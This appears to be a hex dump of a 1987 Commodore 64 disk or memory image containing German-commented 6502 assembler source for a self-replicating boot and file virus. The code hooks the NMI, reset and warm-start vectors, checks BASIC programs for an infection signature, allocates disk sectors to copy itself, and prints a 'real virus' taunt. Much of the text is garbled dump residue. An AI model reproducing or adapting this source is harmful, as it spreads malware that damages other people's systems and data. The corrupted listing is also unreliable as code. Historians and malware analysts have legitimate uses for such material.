00004230: 4A 52 85 42 4E 45 20 9E 52 00 48 4A 5C 85 4A 53 |JR.BNE .R.HJ\.JS|
00004240: 52 20 52 45 4C 49 4E 4B 00 55 4A 66 85 4A 53 52 |R RELINK.UJf.JSR|
00004250: 20 4D 41 4B 45 00 74 4A 70 85 4A 53 52 20 24 46 | MAKE.tJp.JSR $F|
00004260: 44 35 46 20 20 20 3B 53 50 45 49 43 48 45 52 20 |D5F ;SPEICHER |
00004270: 49 4E 49 54 00 81 4A 7A 85 4A 53 52 20 4D 41 4B |INIT..Jz.JSR MAK|
00004280: 45 00 9F 4A 84 85 4A 53 52 20 24 46 44 31 35 20 |E..J..JSR $FD15 |
00004290: 20 20 3B 56 45 4B A4 52 45 4E 20 49 4E 49 54 00 | ;VEK.REN INIT.|
000042A0: AE 4A 8E 85 4A 53 52 20 52 45 49 4E 53 54 00 BB |.J..JSR REINST..|
000042B0: 4A 98 85 4A 53 52 20 4D 41 4B 45 00 DF 4A A2 85 |J..JSR MAKE..J..|
000042C0: 4A 4D 50 20 24 46 43 46 42 20 20 20 3B 52 45 53 |JMP $FCFB ;RES|
000042D0: 45 54 20 4E B0 4D 41 4C 20 57 45 49 54 45 52 00 |ET N.MAL WEITER.|
000042E0: FF 4A 40 9C 3B AB AB AB 56 49 52 55 53 20 4C 49 |.J@.;...VIRUS LI|
000042F0: 4E 4B 20 50 52 4F 47 52 41 4D 4D AB AB AB B1 00 |NK PROGRAMM.....|
00004300: 1A 4B 4A 9C 45 58 54 45 52 4E 20 4E 4F 50 20 3A |.KJ.EXTERN NOP :|
00004310: 20 4E 4F 50 20 3A 20 4E 4F 50 00 40 4B 54 9C 52 | NOP : NOP.@KT.R|
00004320: 54 53 20 20 20 20 20 20 20 20 20 3B 45 58 54 45 |TS ;EXTE|
00004330: 52 45 4E 20 42 45 46 45 48 4C 20 41 55 53 46 2E |REN BEFEHL AUSF.|
00004340: 00 5F 4B 5E 9C 4A 53 52 20 52 4F 4D 52 41 4D 20 |._K^.JSR ROMRAM |
00004350: 20 3B 53 C0 44 41 52 54 20 4B 91 46 49 47 2E 00 | ;S.DART K.FIG..|
00004360: 6C 4B 68 9C 4A 53 52 20 4C 49 4E 4B 00 74 4B 72 |lKh.JSR LINK.tKr|
00004370: 9C 53 45 49 00 95 4B 7C 9C 49 52 4F 4D 52 41 4D |.SEI..K|.IROMRAM|
00004380: 20 50 48 50 20 3B 52 45 47 49 53 54 45 52 20 52 | PHP ;REGISTER R|
00004390: 45 54 54 05 4E 00 A7 4B 86 9C 50 48 41 20 20 20 |ETT.N..K..PHA |
000043A0: 20 20 20 20 20 20 3B 00 CA 4B 90 9C 4C 44 41 20 | ;..K..LDA |
000043B0: 31 20 20 20 20 20 20 20 3B 4F 53 20 55 4E 44 20 |1 ;OS UND |
000043C0: 49 4F 20 45 49 4E AD 41 55 53 00 D4 4B 9A 9C 45 |IO EIN.AUS..K..E|
000043D0: B0 20 23 37 00 E4 4B A4 9C 49 51 55 49 54 20 53 |. #7..K..IQUIT S|
000043E0: 54 41 20 31 00 EC 4B AE 9C 50 4C 41 00 F4 4B B8 |TA 1..K..PLA..K.|
000043F0: 9C 50 4C 50 00 FC 4B C2 9C 52 54 53 00 0A 4C CC |.PLP..K..RTS..L.|
00004400: 9C 49 93 20 20 4A 53 52 20 93 00 29 4C D6 9C 4A |.I. JSR ..)L..J|
00004410: 53 52 20 8A 49 54 20 20 20 20 20 20 20 20 3A 20 |SR .IT : |
00004420: 2E 42 59 54 45 20 31 32 38 00 31 4C E0 9C 52 54 |.BYTE 128.1L..RT|
00004430: 53 00 3F 4C EA 9C 49 94 20 20 4A 53 52 20 94 00 |S.?L..I. JSR ..|
00004440: 5E 4C F4 9C 4A 53 52 20 8A 49 54 20 20 20 20 20 |^L..JSR .IT |
00004450: 20 20 20 3A 20 2E 42 59 54 45 20 20 36 34 00 66 | : .BYTE 64.f|
00004460: 4C FE 9C 52 54 53 00 85 4C 08 9D 49 42 57 53 31 |L..RTS..L..IBWS1|
00004470: 20 20 4A 53 52 20 8A 49 54 20 3A 20 2E 42 59 54 | JSR .IT : .BYT|
00004480: 45 20 20 33 32 00 99 4C 12 9D 49 42 57 53 32 20 |E 32..L..IBWS2 |
00004490: 20 4A 4D 50 20 42 57 53 31 00 B8 4C 1C 9D 49 4E | JMP BWS1..L..IN|
000044A0: 4D 49 31 20 20 4A 53 52 20 8A 49 54 20 3A 20 2E |MI1 JSR .IT : .|
000044B0: 42 59 54 45 20 20 31 36 00 CC 4C 26 9D 49 4E 4D |BYTE 16..L&.INM|
000044C0: 49 32 20 20 4A 4D 50 20 4E 4D 49 31 00 D9 4C 34 |I2 JMP NMI1..L4|
000044D0: 9E 49 8A 49 54 20 50 48 50 00 E1 4C 3E 9E 50 48 |.I.IT PHP..L>.PH|
000044E0: 41 00 F6 4C 48 9E 43 48 45 43 4B 20 4C 44 41 20 |A..LH.CHECK LDA |
000044F0: 4E 4D 49 54 41 48 00 18 4D 52 9E AF 20 4E 4D 49 |NMITAH..MR.. NMI|
00004500: 54 42 48 20 20 3B 4E 4D 49 AB 54 49 4D 45 52 20 |TBH ;NMI.TIMER |
00004510: 41 42 46 52 41 47 45 4E 00 26 4D 5C 9E 42 45 51 |ABFRAGEN.&M\.BEQ|
00004520: 20 43 48 45 43 4B 00 2E 4D 66 9E 53 45 49 00 38 | CHECK..Mf.SEI.8|
00004530: 4D 70 9E 4C 44 41 20 31 00 40 4D 7A 9E 50 48 41 |Mp.LDA 1.@Mz.PHA|
00004540: 00 4B 4D 84 9E 4C 44 41 20 23 30 00 55 4D 8E 9E |.KM..LDA #0.UM..|
00004550: 53 54 41 20 31 00 62 4D 98 9E 4A 53 52 20 9E 54 |STA 1.bM..JSR .T|
00004560: 45 4D 00 6F 4D A2 9E 49 80 49 54 20 50 4C 41 00 |EM.oM..I.IT PLA.|
00004570: 7C 4D AC 9E 4A 4D 50 20 51 55 49 54 00 96 4D B6 ||M..JMP QUIT..M.|
00004580: 9E 49 4E 41 4D 45 20 2E C6 20 22 2A 22 20 3B 20 |.INAME .. "*" ; |
00004590: 46 49 C3 41 4D 45 00 B5 4D 28 A0 49 52 45 53 45 |FI.AME..M(.IRESE|
000045A0: 54 20 4C 44 41 20 23 24 32 46 20 20 3A 20 53 54 |T LDA #$2F : ST|
000045B0: 41 20 24 30 30 00 CD 4D 32 A0 4C 44 41 20 23 24 |A $00..M2.LDA #$|
000045C0: 30 30 20 20 3A 20 53 54 41 20 24 30 31 00 DC 4D |00 : STA $01..M|
000045D0: 3C A0 4A 4D 50 20 9E 52 45 53 45 54 00 FD 4D 67 |<.JMP .RESET..Mg|
000045E0: BF 3B AB AB AB AB AB AB AB AB AB AB AB AB AB AB |.;..............|
000045F0: AB AB AB AB AB AB AB AB AB AB AB AB AB 00 17 4E |...............N|
00004600: 68 BF 8E 20 52 54 49 20 20 3B 4E 4D 49 AB 52 55 |h.. RTI ;NMI.RU|
00004610: 45 43 4B 53 50 8A 47 00 38 4E 41 C3 52 4F 4D 52 |ECKSP.G.8NA.ROMR|
00004620: 41 4D 20 B2 20 49 52 4F 4D 52 41 4D AB 45 58 54 |AM . IROMRAM.EXT|
00004630: 45 52 4E AA 4C 49 4E 4B 00 55 4E 42 C3 8A 49 54 |ERN.LINK.UNB..IT|
00004640: 20 20 B2 20 49 8A 49 54 20 AB 45 58 54 45 52 4E | . I.IT .EXTERN|
00004650: AA 4C 49 4E 4B 00 72 4E 43 C3 80 49 54 20 20 B2 |.LINK.rNC..IT .|
00004660: 20 49 80 49 54 20 AB 45 58 54 45 52 4E AA 4C 49 | I.IT .EXTERN.LI|
00004670: 4E 4B 00 93 4E 44 C3 52 45 53 45 54 20 20 B2 20 |NK..ND.RESET . |
00004680: 49 52 45 53 45 54 20 AB 45 58 54 45 52 4E AA 4C |IRESET .EXTERN.L|
00004690: 49 4E 4B 00 B4 4E 45 C3 42 57 53 32 20 20 20 B2 |INK..NE.BWS2 .|
000046A0: 20 49 42 57 53 32 20 20 AB 45 58 54 45 52 4E AA | IBWS2 .EXTERN.|
000046B0: 4C 49 4E 4B 00 D5 4E 46 C3 42 57 53 31 20 20 20 |LINK..NF.BWS1 |
000046C0: B2 20 49 42 57 53 31 20 20 AB 45 58 54 45 52 4E |. IBWS1 .EXTERN|
000046D0: AA 4C 49 4E 4B 00 F6 4E 47 C3 4E 4D 49 32 20 20 |.LINK..NG.NMI2 |
000046E0: 20 B2 20 49 4E 4D 49 32 20 20 AB 45 58 54 45 52 | . INMI2 .EXTER|
000046F0: 4E AA 4C 49 4E 4B 00 17 4F 48 C3 4E 4D 49 31 20 |N.LINK..OH.NMI1 |
00004700: 20 20 B2 20 49 4E 4D 49 31 20 20 AB 45 58 54 45 | . INMI1 .EXTE|
00004710: 52 4E AA 4C 49 4E 4B 00 32 4F 49 C3 94 20 20 20 |RN.LINK.2OI.. |
00004720: B2 20 49 94 20 20 AB 45 58 54 45 52 4E AA 4C 49 |. I. .EXTERN.LI|
00004730: 4E 4B 00 4D 4F 4A C3 93 20 20 20 B2 20 49 93 20 |NK.MOJ.. . I. |
00004740: 20 AB 45 58 54 45 52 4E AA 4C 49 4E 4B 00 6E 4F | .EXTERN.LINK.nO|
00004750: 4B C3 4E 41 4D 45 20 20 20 B2 20 49 4E 41 4D 45 |K.NAME . INAME|
00004760: 20 20 AB 45 58 54 45 52 4E AA 4C 49 4E 4B 00 8F | .EXTERN.LINK..|
00004770: 4F 4C C3 51 55 49 54 20 20 20 B2 20 49 51 55 49 |OL.QUIT . IQUI|
00004780: 54 20 20 AB 45 58 54 45 52 4E AA 4C 49 4E 4B 00 |T .EXTERN.LINK.|
00004790: AE 4F 4D C3 52 45 53 45 54 56 20 2E 42 59 54 45 |.OM.RESETV .BYTE|
000047A0: 20 B3 52 45 53 45 54 2C B1 52 45 53 45 54 00 C0 | .RESET,.RESET..|
000047B0: 4F 4E C3 2E 42 59 54 45 20 24 35 45 2C 24 46 45 |ON..BYTE $5E,$FE|
000047C0: 00 DE 4F 4F C3 2E 42 59 54 45 20 24 43 33 2C 24 |..OO..BYTE $C3,$|
000047D0: 43 32 2C 24 43 44 2C 24 33 38 2C 24 33 30 00 FF |C2,$CD,$38,$30..|
000047E0: 4F 50 C3 3B AB AB AB AB AB AB 56 49 52 55 53 AB |OP.;......VIRUS.|
000047F0: 4D 45 4C 44 45 54 AB 53 49 43 48 AB AB B1 43 00 |MELDET.SICH...C.|
00004800: 1D 50 51 C3 43 41 4C 4C 20 4C 44 41 20 24 39 44 |.PQ.CALL LDA $9D|
00004810: 20 3B 44 49 52 45 4B 54 4D 4F 44 55 53 00 28 50 | ;DIREKTMODUS.(P|
00004820: 52 C3 42 50 4C 20 43 34 00 48 50 53 C3 4C 44 41 |R.BPL C4.HPS.LDA|
00004830: 20 24 41 32 20 20 20 20 20 20 3B 4C 4F 57 AB 42 | $A2 ;LOW.B|
00004840: 59 54 45 20 5A 45 49 54 00 53 50 54 C3 42 50 4C |YTE ZEIT.SPT.BPL|
00004850: 20 43 34 00 60 50 55 C3 4A 53 52 20 4D 41 4B 45 | C4.`PU.JSR MAKE|
00004860: 00 7E 50 56 C3 4C 44 41 20 24 44 30 31 32 20 20 |.~PV.LDA $D012 |
00004870: 20 20 3B 52 41 53 54 45 52 5A 45 49 4C 45 00 89 | ;RASTERZEILE..|
00004880: 50 57 C3 42 50 4C 20 43 34 00 96 50 6E C3 4C 44 |PW.BPL C4..Pn.LD|
00004890: 59 20 23 24 30 30 00 A8 50 78 C3 43 33 20 4C 44 |Y #$00..Px.C3 LD|
000048A0: 41 20 54 45 58 54 2C 59 00 B3 50 82 C3 42 45 51 |A TEXT,Y..P..BEQ|
000048B0: 20 43 31 00 C0 50 8C C3 4A 53 52 20 4D 41 4B 45 | C1..P..JSR MAKE|
000048C0: 00 E1 50 96 C3 4A 53 52 20 43 48 41 52 4F 55 54 |..P..JSR CHAROUT|
000048D0: 20 20 3B 5A 45 49 43 48 45 4E 41 55 53 47 41 42 | ;ZEICHENAUSGAB|
000048E0: 45 00 EC 50 B4 C3 4C 44 58 20 23 30 00 FC 50 B5 |E..P..LDX #0..P.|
000048F0: C3 43 32 20 4A 53 52 20 4D 41 4B 45 00 1A 51 B6 |.C2 JSR MAKE..Q.|
00004900: C3 49 4E 43 20 24 44 30 32 30 20 20 20 20 3B 52 |.INC $D020 ;R|
00004910: 41 48 4D 45 4E 46 41 52 42 45 00 22 51 BE C3 49 |AHMENFARBE."Q..I|
00004920: 4E 58 00 2D 51 C8 C3 42 4E 45 20 43 32 00 35 51 |NX.-Q..BNE C2.5Q|
00004930: D2 C3 49 4E 59 00 40 51 DC C3 4A 4D 50 20 43 33 |..INY.@Q..JMP C3|
00004940: 00 53 51 FB C3 43 31 20 4C 44 58 20 43 4F 55 4E |.SQ..C1 LDX COUN|
00004950: 54 45 52 00 65 51 FC C3 4C 44 41 20 43 4F 55 4E |TER.eQ..LDA COUN|
00004960: 54 45 52 AA 31 00 72 51 FD C3 4A 53 52 20 4D 41 |TER.1.rQ..JSR MA|
00004970: 4B 45 00 94 51 FE C3 4A 53 52 20 24 42 44 43 44 |KE..Q..JSR $BDCD|
00004980: 20 20 20 20 3B 4E 55 4D 4D 45 52 20 41 55 53 47 | ;NUMMER AUSG|
00004990: 45 42 45 4E 00 A9 51 FF C3 4C 44 41 20 23 31 33 |EBEN..Q..LDA #13|
000049A0: 20 20 20 20 20 20 3B 43 52 00 B6 51 00 C4 4A 53 | ;CR..Q..JS|
000049B0: 52 20 4D 41 4B 45 00 D1 51 01 C4 4A 53 52 20 43 |R MAKE..Q..JSR C|
000049C0: 48 41 52 4F 55 54 20 20 3B 41 55 53 47 45 42 45 |HAROUT ;AUSGEBE|
000049D0: 4E 00 E4 51 02 C4 43 34 20 49 4E 43 20 43 4F 55 |N..Q..C4 INC COU|
000049E0: 4E 54 45 52 00 EF 51 03 C4 42 4E 45 20 43 36 00 |NTER..Q..BNE C6.|
000049F0: 01 52 04 C4 49 4E 43 20 43 4F 55 4E 54 45 52 AA |.R..INC COUNTER.|
00004A00: 31 00 0C 52 05 C4 43 36 20 52 54 53 00 1E 52 18 |1..R..C6 RTS..R.|
00004A10: C4 54 45 58 54 20 2E 42 59 54 45 20 31 33 00 55 |.TEXT .BYTE 13.U|
00004A20: 52 19 C4 2E C6 20 22 44 52 2E 44 52 2E 53 54 52 |R.... "DR.DR.STR|
00004A30: 4F 42 45 26 50 41 50 41 20 48 41 43 4B 45 52 20 |OBE&PAPA HACKER |
00004A40: 57 41 53 20 48 45 52 45 21 22 20 3A 20 2E 42 59 |WAS HERE!" : .BY|
00004A50: 54 45 20 31 33 00 80 52 22 C4 2E C6 20 22 43 4F |TE 13..R"... "CO|
00004A60: 50 52 4F 47 52 41 4D 4D 45 52 3A 20 47 41 52 46 |PROGRAMMER: GARF|
00004A70: 49 45 4C 44 22 20 3A 20 2E 42 59 54 45 20 31 33 |IELD" : .BYTE 13|
00004A80: 00 8D 52 27 C4 2E 42 59 54 45 20 31 33 00 C7 52 |..R'..BYTE 13..R|
00004A90: 28 C4 2E C6 20 22 48 41 4C 4C 4F 20 44 49 43 4B |(... "HALLO DICK|
00004AA0: 45 52 43 48 45 4E 2C 20 44 49 45 53 20 49 53 54 |ERCHEN, DIES IST|
00004AB0: 20 45 49 4E 20 45 43 48 54 45 52 22 20 3A 20 2E | EIN ECHTER" : .|
00004AC0: 42 59 54 45 20 31 33 00 E5 52 29 C4 2E C6 20 22 |BYTE 13..R)... "|
00004AD0: 56 49 52 55 53 21 22 20 3A 20 2E 42 59 54 45 20 |VIRUS!" : .BYTE |
00004AE0: 31 33 2C 31 33 00 03 53 2C C4 2E C6 20 22 53 45 |13,13..S,... "SE|
00004AF0: 52 49 41 4C 4E 4F 2E 3A 22 20 3A 20 2E 42 59 54 |RIALNO.:" : .BYT|
00004B00: 45 20 30 00 16 53 36 C4 43 4F 55 4E 54 45 52 20 |E 0..S6.COUNTER |
00004B10: 2E 57 B0 44 20 30 00 39 53 18 F6 AC B2 20 32 35 |.W.D 0.9S.... 25|
00004B20: 34 AC 42 4C 4F 43 4B 53 AA 53 54 41 52 54 AB 32 |4.BLOCKS.START.2|
00004B30: 20 3A 20 AC B2 20 AC AA 32 00 49 53 19 F6 2E 42 | : .. ..2.IS...B|
00004B40: 59 54 45 20 24 30 2C 24 30 00 14 00 |YTE $0,$0... |
..N.... COPYRIGHT 1987 BY BHP+PAPA HACKE
R VIRUS C-64 MUNICH 18.2.1987.F
....A.0.A.1:."VIRUS",8.R....9.4096.~....
OPT O1.....START . $D000.......
START.....PAR . $B7.L...MEM .
$58.....SETPAR . $FFBA.....SETNAME . $
FFBD.....IEC. . $F3D5.....SEK . $B9.
)...DEV . $BA.:...SEK. . $FF93.N...S
EKTALK . $FF96._.... . $FFB1.S...TALK
. $FFB4.....UN. . $FFAE.....UNTALK
. $FFAB.....IEC. . $FFA5.....IECOUT .
$FFA8.P...STATUS . $90.....COUNT . M
EM..... . $F642.....BAM . COUNT .
1."...TRACK . BAM . 3.:...VTRACK .
TRACK . 1.P....E . VTRA.K. 1.F. .PUF
FER . .E . 1.~.!.JOB . PUFFER. 1..
.".DO . JOB . 1...#.X . BAM
...$.Y . BAM . 1.X.%.Z . B
AM . 2...&.BASICS . 43...'.ADR .
DO . 1...(.SEC.R . ADR . 1./.).VSE
C . SEC.R. 1.?.*.BLOCKS . 8.P.+.W.K
. $8B.B.,.MEM1 . W.K.Y.-.MEM2 .
W.K . 1.....MEM3 . W.K . 2.../.MEM
4 . W.K . 3...0.BREAKP . $0316.L.1.
BASICE . 45...2..E . $AE...3.LINKC .
88...4..P . $0330...5..P . $0332. .6
.LINK . $02A7.4.7.NMITAH . $DD05.H.8
.NMIT.H . $DD07.\.9.NMIP . $0318.P.:
.ROMTEST . $FD02...;.WARMP . $0302...<
.IRQP . $0314...=.IRQE . $EA31...>
.NMIE . $EA86.Q.?.. . $FFE1...@.CH
AROUT . $FFD2......BYTE 031,008,194,007,
158.'...VIRUS .BYTE 194,040,052,051,041.
E....BYTE 170,194,040,052,052.C....BYTE
041,172,050,053,054......BYTE 170,052,05
6,058,086......BYTE 073,082,085,083,000.
..$..BYTE 000,000.E.)..W.D BLOCKS.254...
*..BYTE $A7,$AD,$A6,$5D,$A5,$32,$A6,$8D.
..+.... . 6.....;1986 .B(43).B(44).256.4
8:.%.8.;VIRUS.I.O.;...INITIALISIERE.VIRU
S....INIT.U.P.LDY #34.N.Z.INIT3 LDA (BAS
ICS),Y.V...PHA.~...INY.....CPY #42.....B
NE INIT3...P.PHP ;STATUS,.V.Z.S
EI ;.ERRUPT SPERREN !.....PHA
;AKKU,.....LDA 1 ;UND SPE
ICHERK.FIG..,...PHA ;RETTEN.<..
.LDA #..IT.1.A...PHA ;RUECKKEHR
PUNKT VOM.{...LDA #..IT.1;VIRUS.TEM.....
PHA...J.LDA #0...T.STA 1 ;AUF RAM
UMSCHALTEN.....LDY #$03.T...INIT1 LDA W
.K,Y.....PHA.....DEY.....BPL INIT1.....L
DA BASICS ;KOPIERE DEN VIRUS.:...STA M
EM1 ;UNTER I.O BEREICH.K.$.LDA BASIC
S.1.X...STA MEM2.H.8.LDA #.START.U.B.STA
MEM3...L.LDA #.START...V.STA MEM4...`.L
DX #BLOCKS...J.LDY #0.D.T.INIT2 LDA (MEM
1),Y.U.~.STA (MEM3),Y.....INY.....BNE IN
IT2.....INC MEM2.....INC MEM4.....DEX...
..BNE INIT2.%.D.JMP ..I...;....VERSCHIEB
E PROGRAMM...MOVE.L.B.MOVE SEC ;SETZ
E PROGRAMM.E...L.LDA .E ;PO.ER...Q.LD
Y #32. .V.SBC (BASICS),Y.....STA BASICE.
....STA .E.H...LDA .E .1.P...INY.....SBC
(BASICS),Y.....STA BASICE.1.....STA .E
.1.....LDA #0.0.&.STA MEM1 ;VERSCHIE
BE PO.ER.L.0.LDA BASICS.1 ;BERECHNEN.Y.:
.STA MEM2.A.D.CLC.I.I.DEY.|.N.LDA (BASIC
S),Y...X.ADC BASICS...B.STA MEM3. .G.INY
...L.LDA (BASICS),Y.D.V.AD. BASICS.1.Q..
.STA MEM4.Y...SEC.....LDA MEM3.....SBC B
ASICS.....STA MEM3.....LDA MEM4.....SBC
#0.'.F.STA MEM4.6.P.LDY BASICS.K.Z.MOVE1
CPY BASICE.Y...BNE MOVE2.F...LDA MEM2.W
...CMP BASICE.1.....BEQ MOVE3.....MOVE2
LDA (MEM3),Y.....STA (MEM1),Y... .INY...
*.BNE MOVE1 ;PROGRAMM AN .GINAL....4.
INC MEM2 ;ADRESSE VERSCH.EBEN...>.IN
C MEM4...H.BNE MOVE1./.R.MOVE3 LDA .E.1.
S.\.CMP #$80 ;UEBERPRUEFE LADE..N.F.
BCS MOVE4 ;.ADRESSE.Y.P.LDX #9...Z.RO
M LDA RESETV,X.....STA $8000,X.....DEX..
...BPL ROM.....MOVE4 RTS... .;....NEUSTA
RT VIRUS............... LDA $FFFA.....PH
A ;NMI.VEK.R RETTEN.%...LDA $FFF
B ;.7.H.PHA ;.V.R.LDA #..;UND
AUF RTI SETZEN.H...STA $FFFA ;.T...LDA
#.......STA $FFFB.....JSR MOVE ;PROG
RAMM VERSCHIEBEN.....LDA #0.....TAY.C...
CLC.V...N1 ADC VIRUS,Y.....ROL.....ADC #
0.....INY.....CPY #27.....BNE N1......MP
#186. ...BEQ N2.+...N3 INY.>...STA (BAS
ICS),Y.I...BNE N3.P...N2 JSR INSTALL ;VI
RUS INSTALLIEREN.....JMP .. ;RUECKKEHR I
NS .TEM...H.;.....INSTALL..............I
.E.R.INSTALL LDA NA.E.R.|.CMP #"*".....B
EQ I0.....BNE I1.....REINST JSR PO.ER...
..I0 JSR .;ZEIGER RUECKSETZEN.C...I1 JSR
RELINK ;LINK.TEIL KOPIEREN.A...JSR PO.E
R ;PO.ER SETZEN.....JSR MAKE ;..E
XTERN AUSFUEHREN.....JSR ROMTEST ;TEST
AUF CBM80 ....B.BNE I2.B.L.LDX #3...V.J
SR ROM ;VEK.REN SETZEN.....I2 RTS.
..0.;.....LINK.TEIL.KOPIEREN...R.&.:.REL
INK LDX #LINKC.:.D.R1 LDA EXTERN,X._.N.S
TA LINK,X ;LINK.TEIL NACH LINK.Y.X.DEX
;KOPIEREN...B.BPL R1...L.RTS....
.;.....ZEIGER.SETZEN........P.....PO.ER
LDA .P.I...LDA .P.U...CMP #.......BEQ P1
;DIVERSE BETRIEBS......STA ..1 ;.
TEM ZEIGER AUF.3...LDA #.. ;VIRUS PROGR
AMM.H...STA .P ;SETZEN.X...P1 LDA .P.1
.T.A.CMP #.. ;(.,.,NMI,IRQ,...F.BEQ P2
;RESET,BASICWARMSTART,...K.STA ..2
;BREAKVEK.R).A.P.LDA #...N.U.STA .P.1..
.Z.P2 LDA .P.....CMP #.......BEQ P3.....
STA ..1.....LDA #.......STA .P.&...P3 LD
A .P.1.2...CMP #...=...BEQ P4.I...STA ..
2.U...LDA #...B...STA .P.1.S...P4 LDA WA
RMP.....CMP #.BWS1... .BEQ P5...%.STA BW
S2.1...*.LDA #.BWS1.../.STA WARMP.L.4.P5
LDA WARMP.1...9.CMP #.BWS1...>.BEQ P6..
.C.STA BWS2.2...H.LDA #.BWS1...M.STA WAR
MP.1.$.R.P6 LDA NMIP.3.W.CMP #.NMI1.>.\.
BEQ P9.M.A.ST. NMI2.1.\.F.LDA #.NMI1.I.K
.STA NMIP.{.P.P9 LDA NMIP.1...U.CMP #.NM
I1...Z.BEQ P10....STA NMI2.2.....LDA #.
NMI1.C...STA NMIP.1.V...P10 LDA #.NMI1..
...STA BREAKP.....LDA #.NMI1.....STA BRE
AKP.1.....LDA #.RESET.#...STA $FFFC.3...
LDA #.RESET.A...STA $FFFD.I.J.RTS.I.$.;.
.ZEIGER.ZURUECKSETZ.N.....W.).. LDA ..1.
....STA .P ;DIVERSE BETRIEBS....3.LDA
..2 ;.TEMZEIGER AUF.P.8.STA .P.1 ;.GINA
LADRESSE...=.LDA ..1 ;ZURUECKSETZEN...B
.STA .P ;(.,.,NMI,IRQ,.&.G.LDA ..2 ;B
ASICWARMSTART).3.L.STA .P.1.B.Q.LDA BWS2
.1.P.V.STA WARMP._.[.LDA BWS2.2.O.`.STA
WARMP.1.~.E.LDA NMI2.1...J.STA NMIP...O.
LDA NMI2.2...T.STA NMIP.1...Y.RTS.U.P.;.
.....VIRUS..OPIEREN......JUMP...Z.DOIT L
DA STATUS.....PHA ;STATUS RETTE
N.....LDX #$05.+...JUMP12 LDA PAR,X.3...
PHA.S...DEX ;SPEICHERSTELC.V...
BPL JUMP12 ;AUF STACK RETTEN.....LDX #
13.BLOCKS...J.JUMP13 LDA MEM,X...T.PHA..
...DEX.....BPL JUMP13.W...LDA #0 ;
FLOPPY......JSR HAC.OSH ;.....LDX #$6F
;KOMM.OKANAL...$.STX SEK ;.3...J
SR HANS ;OEF.EN.T.8.LDA #1 ;ZU
.ZTBENUTZTES.K.B.LDX #.NAME ;FILE.~.L.
LDY #.NAME ;...V.JSR HAC.OSH ;...`.LDA
#$60 ;...J.STA SEK ;.I.T.JSR H
ANS ;.W.~.JSR STALK.....JSR BHP
;ADRL.....CMP BASICS.. ..BNE ... ..JSR
BHP ;A.RH./ ..CMP BASICS.1.9 ..BNE
..X D.LDA #5 ;WENN RICHTIG.~ N.STA
COUNT ;LESE LINK,LINE,.KEN.. X.LOOP1
JSR BHP.. ..DEC COUNT.. ..BNE LOOP1.. .
.TAX.W ..LDA STATUS ;FEHLER AUF.RETEN.
. ..LSR.. ..LSR..!..BCS . ;JA
....%!(.CPX #$9E ;..BEFEHL.J!
2.BNE JUMP1 ;NEIN, BASICPRG ....L!<.L
DA #0 ;TESTE AUF VIRUS.Z!F.STA COU
NT..!P.LOOP2 JSR BHP..!Z.LDX COUNT..!D.C
MP VIRUS,X..!N.BNE JUMP1..!X.INX.N!..STX
COUNT.Z!..CPX #27..!..BNE LOOP2.." .. J
MP BYE ;PRG SCH. VERSEUCHT.."..JUMP1 JS
R SUHAL.C"..LDA #"R" ;SCHALTE AUF LE
SE..["..STA DO ;MODUS.H"H.LDX #$6F
.T"R.STX SEK.."..LDX #$F9 ;ZU.ZT BEN
UTZTEN.."..LDY #0 ;PUFFER ERMITTC.
B"..LDA #1.P"..JSR MEM.Y.."..JSR GARFIEL
D.."..JSR STALK..#..JSR BHP ;HOLE P
UFFER..#".PHA.##,.JSR SUHAL.+#6.PLA.N#@.
STA JOB ;BERECHNE DIVERSE.J#J.CLC
;PARAMETER.U#T.ADC #3..#^.STA AD
R ;.IGH.BYTE PUFFER..#H.LDA JOB..#R
.ASL.O#|.ADC #6 ;TRACK&SEC.R FUER.
.#..TAX ;JOB..#..STX PUFFER..#.
.LDY #0..$..L.A #2 ;HOLE START..=$
..JSR MEM.Y ;TRACK & .SEC.R.N$..JSR GA
RFIELD.\$B.JSR STALK.Y$L.JSR BHP ;S
TARTTRACK..$V.STA TRACK ;SPEICHERN..$
..JSR BHP ;ST.RTSEC.R.M$..STA SEC.R
;SPEICHERN..$..JSR SUHAL..$..LDA TRAC
K ;DIREC.RY NICHT..%..CMP #18 ;V
ERSEUCHEN.#%..BEQ ..F%..LDX #$0E ;PR
UEFE OB BAM IM.J%&.LDY #$00 ;FLOPPY.
RAM V.H.EN..%0.LDA #2 ;IST..%:.JSR
MEM.Y..%D.JSR GARFIELD..%N.JSR STALK..%
X.JSR BHP.Z%B.CMP #18 ;DIREC.RY.TRA
CK..%L.BNE . ;NEIN ... DANN .E..&V
.JSR BHP.$&..CMP #0 ;BAM.SEC.R.F&.
.BNE . ;NEIN ... DANN .E.T&..JSR S
UHAL.W&..LDX #$00 ;SUCHE PLATZ FUER.
.&..JUMP3 STX X ;VIRUS..&..TXA..&..LSR
;PRUEFE UNTERSTES BIT..&F.STA C
OUNT ;WENN BIT.0 SUCHE..&P.BCC JUMP9
;NACH INNEN..'Z.LDA TRAC. ;.ERFALL
S NACH.7'..SBC COUNT ;AUSSEN.F'..JMP
JUMP10.['..JUMP9 ADC TRACK.Q'..JUMP10 S
TA VTRACK..'..BEQ JUMP16 ;SPUR.35 ODER
..'..CMP #36 ;.1 DANN WEITERSUCHEN.
F' .BCS JUMP16..'*.CMP #18 ;DIREC.R
YSPUR..'4.BEQ JUMP16..(>.JSR BSELECT ;S
UCHE PLATZ.#(H.JSR GARFIELD.1(R.JSR STAL
K.=(\.JSR BHP.^(F.CMP #BLOCKS ;PLATZ GE
FUNDEN.V(P.BCS JUMP4 ;JA.....(Z.JSR S
UHAL..(..JUMP16 LDX X..(..INX ;
PRUEFE OB WEITERE.X(..CPX #68 ;SUCH
E .NVOLL..(..BNE JUMP3 ;...JA..)..JMP
. ;NEIN,DANN VIRUS .E.))..JUMP4 SB
C #BLOCKS.G)..STA .E ;PLATZ BELEGEN.
H)J.JSR BHP ;LESE BAM.TRACK.T)T.STA
BAM..)..JSR BHP..)..STA BAM.1..)..JSR B
HP..)..STA BAM.2..)..JSR GARFIELD..)..LD
Y #BLOCKS ;SUCHE .IE SEC.REN..)..LDX #$
FF..)$.JUMP5 PHP..*..INX..*8.CPX #25..*B
.BEQ JUMP6."*L.PLP./*V.R. BAM.2.<*`.R. B
AM.1.G*J.R. BAM.F*T.BCC JUMP5 ;SEC.R
BELEGT.Q*~.CPY #0.*..BEQ JUMP5. *..TXA
;SEC.R GEFUNDEN..*..STA VSEC.1,
Y..*..DEY.A*..CLC..*..BCC JUMP5 ;WEIT
ER SUCHEN..*D.JUMP6 PLP..+N.LDA #"W"
;SCHALTE AUF.,+X.STA DO ;SCHREIBM
ODUS.;+..LDA VTRACK.X+..JSR BSELECT ;BA
